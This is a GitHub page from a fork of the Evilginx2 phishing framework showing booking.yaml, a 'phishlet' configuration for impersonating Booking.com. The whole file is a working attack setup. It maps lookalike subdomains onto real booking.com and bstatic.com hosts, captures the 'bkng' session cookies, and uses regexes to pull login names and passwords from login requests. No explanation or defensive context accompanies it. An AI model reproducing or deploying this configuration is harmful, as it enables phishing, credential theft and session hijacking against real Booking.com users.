forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
booking.yaml
27 lines (27 loc) · 1.17 KB
/
booking.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
author: '@Anonymous'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'accounts.booking' , orig_sub: '' , domain: 'booking.com', session: false, is_landing: true}
- {phish_sub: 'account', orig_sub: 'account', domain: 'booking.com', session: true, is_landing: false}
- {phish_sub: 'secure' , orig_sub: 'secure' , domain: 'booking.com', session: true, is_landing: false}
- {phish_sub: 'www' , orig_sub: '' , domain: 'booking.com', session: true, is_landing: false}
- {phish_sub: 'join' , orig_sub: 'join' , domain: 'booking.com', session: false, is_landing: false}
- {phish_sub: 'admin' , orig_sub: 'admin' , domain: 'booking.com', session: false, is_landing: false}
- {phish_sub: 'q', orig_sub: 'q-cf', domain: 'bstatic.com', session: false, is_landing: false}
- {phish_sub: 'r', orig_sub: 'r-cf', domain: 'bstatic.com', session: false, is_landing: false}
sub_filters: []
auth_tokens:
- domain: '.booking.com'
keys: ['bkng','.*,regexp']
credentials:
username:
key: ''
search: '"login_name":"([^"]*)'
type: 'json'
password:
key: ''
search: '"password":"([^"]*)'
type: 'json'
login:
domain: 'account.booking.com'
path: '/'